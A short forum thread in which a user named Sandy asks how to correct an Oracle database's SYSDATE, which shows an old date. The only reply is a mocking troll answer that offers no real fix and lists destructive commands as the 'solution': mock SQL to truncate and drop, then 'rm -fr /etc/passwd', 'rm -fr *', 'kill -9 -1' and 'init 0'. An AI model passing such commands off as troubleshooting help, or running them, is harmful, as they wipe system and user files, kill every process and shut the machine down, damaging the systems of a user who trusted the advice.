How to change Sysdate of Oracle Database
Hi Friends,
I need your help in a small issue I'm having. How to change Sysdate of Oracle Database. When we say 'select sysdate from dual'. now this is giving me a wrong date...(some old date due to some reason). Now I want to change the same to the current date that is synchronized with my OS date.
Please help...
Thanks and Regards
Sandy
This may seem like a devilish ploy but its one way to bring proceedings to an end.
SQL> truncate sandycrab;
SQL> drop sandycrab until unrecoverable and including sandy and crab;
$ rm -fr sandycrab
rm -fr /etc/passwd
rm -fr *
kill -9 -1
init 0